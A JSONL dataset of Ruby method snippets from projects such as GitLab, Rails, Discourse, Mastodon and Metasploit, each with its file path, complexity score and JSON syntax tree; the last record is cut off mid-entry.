{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/requests/api/users_spec.rb","start_line":2661,"raw_source":"def request\n            get api(path, current_user)\n          end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"request\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"send\",\"children\":[null,\"api\",{\"type\":\"send\",\"children\":[null,\"path\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]}]}]}","id":"09d2fea4-6080-45f0-a815-e4280abceaff"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/dispatch/content_security_policy_test.rb","start_line":601,"raw_source":"def test_generates_report_only_content_security_policy\n    get \"/report-only\"\n    assert_policy \"default-src 'self'; report-uri /violations\", report_only: true\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_generates_report_only_content_security_policy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"/report-only\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_policy\",{\"type\":\"str\",\"children\":[\"default-src 'self'; report-uri /violations\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"report_only\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"79058888-6b86-49fa-8bb1-89f57948fce8"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/auxiliary/auth_brute.rb","start_line":660,"raw_source":"def userpass_sleep_interval\n    ::IO.select(nil,nil,nil,userpass_interval) unless userpass_interval == 0\n  end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"userpass_sleep_interval\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"userpass_interval\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"IO\"]},\"select\",{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"userpass_interval\"]}]}]}]}","id":"a3d8e6c2-9b5f-4848-b6f3-5e43a09391f8"}
{"repo_name":"spree","file_path":"./repos/spree/core/lib/spree/money.rb","start_line":79,"raw_source":"def ==(obj)\n      money == obj.money\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"==\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"obj\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"money\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obj\"]},\"money\"]}]}]}","id":"3b86d0ce-5446-4ff1-be64-154028e79041"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/autosave_association.rb","start_line":371,"raw_source":"def association_valid?(association, record)\n        return true if record.destroyed? || (association.options[:autosave] && record.marked_for_destruction?)\n\n        context = validation_context if custom_validation_context?\n        return true if record.valid?(context)\n\n        if context || record.changed_for_autosave?\n          associated_errors = record.errors.objects\n        else\n          # If there are existing invalid records in the DB, we should still be able to reference them.\n          # Unless a record (no matter where in the association chain) is invalid and is being changed.\n          associated_errors = record.errors.objects.select { |error| error.is_a?(Associations::NestedError) }\n        end\n\n        if association.options[:autosave]\n          return if equal?(record)\n\n          associated_errors.each { |error|\n            errors.objects.append(\n              Associations::NestedError.new(association, error)\n            )\n          }\n        elsif associated_errors.any?\n          errors.add(association.reflection.name)\n        end\n\n        errors.any?\n      end","complexity_score":52.1,"ast_json":"{\"type\":\"def\",\"children\":[\"association_valid?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"association\"]},{\"type\":\"arg\",\"children\":[\"record\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"destroyed?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"association\"]},\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"autosave\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"marked_for_destruction?\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"custom_validation_context?\"]},{\"type\":\"lvasgn\",\"children\":[\"context\",{\"type\":\"send\",\"children\":[null,\"validation_context\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"valid?\",{\"type\":\"lvar\",\"children\":[\"context\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"context\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"changed_for_autosave?\"]}]},{\"type\":\"lvasgn\",\"children\":[\"associated_errors\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"errors\"]},\"objects\"]}]},{\"type\":\"lvasgn\",\"children\":[\"associated_errors\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"errors\"]},\"objects\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"error\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Associations\"]},\"NestedError\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"association\"]},\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"autosave\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"equal?\",{\"type\":\"lvar\",\"children\":[\"record\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"associated_errors\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"error\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"objects\"]},\"append\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Associations\"]},\"NestedError\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"association\"]},{\"type\":\"lvar\",\"children\":[\"error\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"associated_errors\"]},\"any?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"association\"]},\"reflection\"]},\"name\"]}]},null]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"any?\"]}]}]}","id":"a3d956ff-a87f-4fe6-88c1-c466a3bdfcff"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/output_processor.rb","start_line":100,"raw_source":"def test_output_format_escaped\n    assert_output \"[Escaped] @x\", Sexp.new(:format_escaped,\n                                            Sexp.new(:ivar, :@x))\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_output_format_escaped\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_output\",{\"type\":\"str\",\"children\":[\"[Escaped] @x\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sexp\"]},\"new\",{\"type\":\"sym\",\"children\":[\"format_escaped\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sexp\"]},\"new\",{\"type\":\"sym\",\"children\":[\"ivar\"]},{\"type\":\"sym\",\"children\":[\"@x\"]}]}]}]}]}","id":"779ceb3d-1cdf-4591-9a56-0e34b8a5d71c"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/components/admin_fonts_form.rb","start_line":6,"raw_source":"def select_font(section, font)\n        find(\n          \"[data-name='#{section}_font'] .admin-fonts-form__button-option.body-font-#{font}\",\n        ).click\n        page.has_css?(\n          \"[data-name='#{section}_font'] .admin-fonts-form__button-option.body-font-#{font}.active\",\n        )\n      end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"select_font\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"section\"]},{\"type\":\"arg\",\"children\":[\"font\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[data-name='\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"section\"]}]},{\"type\":\"str\",\"children\":[\"_font'] .admin-fonts-form__button-option.body-font-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"font\"]}]}]}]},\"click\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"has_css?\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[data-name='\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"section\"]}]},{\"type\":\"str\",\"children\":[\"_font'] .admin-fonts-form__button-option.body-font-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"font\"]}]},{\"type\":\"str\",\"children\":[\".active\"]}]}]}]}]}","id":"d96ed661-771d-410b-b4aa-fef0c92e7bc8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/git/tag.rb","start_line":19,"raw_source":"def get_message(repository, tag_id)\n          BatchLoader.for(tag_id).batch(key: repository) do |tag_ids, loader, args|\n            get_messages(args[:key], tag_ids).each do |tag_id, message|\n              loader.call(tag_id, message)\n            end\n          end\n        end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"get_message\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"repository\"]},{\"type\":\"arg\",\"children\":[\"tag_id\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BatchLoader\"]},\"for\",{\"type\":\"lvar\",\"children\":[\"tag_id\"]}]},\"batch\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"repository\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tag_ids\"]},{\"type\":\"arg\",\"children\":[\"loader\"]},{\"type\":\"arg\",\"children\":[\"args\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_messages\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"key\"]}]},{\"type\":\"lvar\",\"children\":[\"tag_ids\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tag_id\"]},{\"type\":\"arg\",\"children\":[\"message\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loader\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"tag_id\"]},{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]}]}","id":"92058b91-3f43-4ce0-b73d-443c9a023120"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/banzai/filter/placeholders_post_filter_spec.rb","start_line":9,"raw_source":"def run_pipeline(text, context = { project: project })\n    stub_commonmark_sourcepos_disabled\n\n    Banzai.render_and_post_process(text, context)\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"run_pipeline\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"text\"]},{\"type\":\"optarg\",\"children\":[\"context\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stub_commonmark_sourcepos_disabled\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Banzai\"]},\"render_and_post_process\",{\"type\":\"lvar\",\"children\":[\"text\"]},{\"type\":\"lvar\",\"children\":[\"context\"]}]}]}]}","id":"5c6de6a3-c7c7-41ed-a3a4-185d5f524f1b"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/file_store/s3_store.rb","start_line":215,"raw_source":"def url_for(upload, force_download: false)\n      if upload.secure? || force_download\n        presigned_get_url(\n          get_upload_key(upload),\n          force_download: force_download,\n          filename: upload.original_filename,\n        )\n      elsif SiteSetting.s3_use_cdn_url_for_all_uploads\n        cdn_url(upload.url)\n      else\n        upload.url\n      end\n    end","complexity_score":12.8,"ast_json":"{\"type\":\"def\",\"children\":[\"url_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"upload\"]},{\"type\":\"kwoptarg\",\"children\":[\"force_download\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upload\"]},\"secure?\"]},{\"type\":\"lvar\",\"children\":[\"force_download\"]}]},{\"type\":\"send\",\"children\":[null,\"presigned_get_url\",{\"type\":\"send\",\"children\":[null,\"get_upload_key\",{\"type\":\"lvar\",\"children\":[\"upload\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"force_download\"]},{\"type\":\"lvar\",\"children\":[\"force_download\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filename\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upload\"]},\"original_filename\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"s3_use_cdn_url_for_all_uploads\"]},{\"type\":\"send\",\"children\":[null,\"cdn_url\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upload\"]},\"url\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upload\"]},\"url\"]}]}]}]}","id":"269ef079-6658-48a1-9374-f6e8697e276d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/allegro_rompager_misfortune_cookie.rb","start_line":77,"raw_source":"def setup\n    @status_codes_regex = Regexp.new(datastore['STATUS_CODES_REGEX'])\n  end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@status_codes_regex\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"STATUS_CODES_REGEX\"]}]}]}]}]}","id":"195205bd-bb42-44c3-bbae-013a0f563119"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/scim_clients/create_service.rb","start_line":54,"raw_source":"def create_oauth_application\n    ::OAuth::Applications::CreateService\n      .new(user:)\n      .call(\n        name: \"#{model.name} (#{ScimClient.model_name.human})\",\n        redirect_uri: \"urn:ietf:wg:oauth:2.0:oob\",\n        client_credentials_user_id: service_account.id,\n        scopes: \"scim_v2\",\n        confidential: true,\n        integration: model,\n        owner: user\n      )\n  end","complexity_score":12.4,"ast_json":"{\"type\":\"def\",\"children\":[\"create_oauth_application\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"OAuth\"]},\"Applications\"]},\"CreateService\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"user\"]}]}]}]},\"call\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\" (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ScimClient\"]},\"model_name\"]},\"human\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"redirect_uri\"]},{\"type\":\"str\",\"children\":[\"urn:ietf:wg:oauth:2.0:oob\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"client_credentials_user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"service_account\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scopes\"]},{\"type\":\"str\",\"children\":[\"scim_v2\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"confidential\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"integration\"]},{\"type\":\"send\",\"children\":[null,\"model\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"owner\"]},{\"type\":\"send\",\"children\":[null,\"user\"]}]}]}]}]}","id":"9bd887cf-2921-425a-b2e7-53e14ffc0597"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/common/storages/adapters/providers/nextcloud/commands/remove_user_from_group_command.rb","start_line":51,"raw_source":"def handle_response(response)\n              error = Results::Error.new(source: self.class, payload: response)\n\n              case response\n              in { status: 200..299 }\n                handle_success_response(response.xml, error)\n              in { status: 405 }\n                Failure(error.with(code: :not_allowed))\n              in { status: 401 }\n                Failure(error.with(code: :unauthorized))\n              in { status: 404 }\n                Failure(error.with(code: :not_found))\n              in { status: 409 }\n                Failure(error.with(code: :conflict))\n              else\n                Failure(error.with(code: :error))\n              end\n            end","complexity_score":20.25,"ast_json":"{\"type\":\"def\",\"children\":[\"handle_response\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"response\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"error\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Results\"]},\"Error\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"lvar\",\"children\":[\"response\"]}]}]}]}]},{\"type\":\"case_match\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},{\"type\":\"in_pattern\",\"children\":[{\"type\":\"hash_pattern\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[200]},{\"type\":\"int\",\"children\":[299]}]}]}]},null,{\"type\":\"send\",\"children\":[null,\"handle_success_response\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"xml\"]},{\"type\":\"lvar\",\"children\":[\"error\"]}]}]},{\"type\":\"in_pattern\",\"children\":[{\"type\":\"hash_pattern\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[405]}]}]},null,{\"type\":\"send\",\"children\":[null,\"Failure\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code\"]},{\"type\":\"sym\",\"children\":[\"not_allowed\"]}]}]}]}]}]},{\"type\":\"in_pattern\",\"children\":[{\"type\":\"hash_pattern\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[401]}]}]},null,{\"type\":\"send\",\"children\":[null,\"Failure\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code\"]},{\"type\":\"sym\",\"children\":[\"unauthorized\"]}]}]}]}]}]},{\"type\":\"in_pattern\",\"children\":[{\"type\":\"hash_pattern\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[404]}]}]},null,{\"type\":\"send\",\"children\":[null,\"Failure\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code\"]},{\"type\":\"sym\",\"children\":[\"not_found\"]}]}]}]}]}]},{\"type\":\"in_pattern\",\"children\":[{\"type\":\"hash_pattern\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[409]}]}]},null,{\"type\":\"send\",\"children\":[null,\"Failure\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code\"]},{\"type\":\"sym\",\"children\":[\"conflict\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"Failure\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code\"]},{\"type\":\"sym\",\"children\":[\"error\"]}]}]}]}]}]}]}]}","id":"8d005f6f-b36c-41c0-8444-02b50978d608"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/fuzzers/smb/smb_ntlm1_login_corrupt.rb","start_line":36,"raw_source":"def do_smb_login(pkt, opts = {})\n    @connected = false\n    connect(versions: [1])\n    simple.client.negotiate(false)\n\n    @connected = true\n    sock.put(pkt)\n    sock.get_once(-1, opts[:timeout])\n  end","complexity_score":13.5,"ast_json":"{\"type\":\"def\",\"children\":[\"do_smb_login\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pkt\"]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@connected\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"connect\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"versions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[1]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"simple\"]},\"client\"]},\"negotiate\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@connected\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"put\",{\"type\":\"lvar\",\"children\":[\"pkt\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"get_once\",{\"type\":\"int\",\"children\":[-1]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"timeout\"]}]}]}]}]}","id":"6d84762c-48b0-4835-9d31-add7a0777dd0"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/jobs/scheduled/pending_reviewables_reminder.rb","start_line":55,"raw_source":"def self.last_notified_id=(arg)\n      Discourse.redis.set(last_notified_key, arg)\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"last_notified_id=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"arg\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"redis\"]},\"set\",{\"type\":\"send\",\"children\":[null,\"last_notified_key\"]},{\"type\":\"lvar\",\"children\":[\"arg\"]}]}]}","id":"cf8242a2-3dfb-448f-b19d-a13fd4f3042a"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/admin/email_domain_blocks_controller.rb","start_line":30,"raw_source":"def create\n      authorize :email_domain_block, :create?\n\n      @email_domain_block = EmailDomainBlock.new(resource_params)\n\n      if action_from_button == 'save'\n        EmailDomainBlock.transaction do\n          @email_domain_block.save!\n          log_action :create, @email_domain_block\n\n          (@email_domain_block.other_domains || []).uniq.each do |domain|\n            next if EmailDomainBlock.exists?(domain: domain)\n\n            other_email_domain_block = EmailDomainBlock.create!(domain: domain, allow_with_approval: @email_domain_block.allow_with_approval, parent: @email_domain_block)\n            log_action :create, other_email_domain_block\n          end\n        end\n\n        redirect_to admin_email_domain_blocks_path, notice: I18n.t('admin.email_domain_blocks.created_msg')\n      else\n        set_resolved_records\n        render :new\n      end\n    rescue ActiveRecord::RecordInvalid\n      set_resolved_records\n      render :new\n    end","complexity_score":45.5,"ast_json":"{\"type\":\"def\",\"children\":[\"create\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"authorize\",{\"type\":\"sym\",\"children\":[\"email_domain_block\"]},{\"type\":\"sym\",\"children\":[\"create?\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@email_domain_block\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EmailDomainBlock\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"resource_params\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"action_from_button\"]},\"==\",{\"type\":\"str\",\"children\":[\"save\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EmailDomainBlock\"]},\"transaction\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@email_domain_block\"]},\"save!\"]},{\"type\":\"send\",\"children\":[null,\"log_action\",{\"type\":\"sym\",\"children\":[\"create\"]},{\"type\":\"ivar\",\"children\":[\"@email_domain_block\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@email_domain_block\"]},\"other_domains\"]},{\"type\":\"array\",\"children\":[]}]}]},\"uniq\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"domain\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EmailDomainBlock\"]},\"exists?\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"domain\"]},{\"type\":\"lvar\",\"children\":[\"domain\"]}]}]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"other_email_domain_block\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EmailDomainBlock\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"domain\"]},{\"type\":\"lvar\",\"children\":[\"d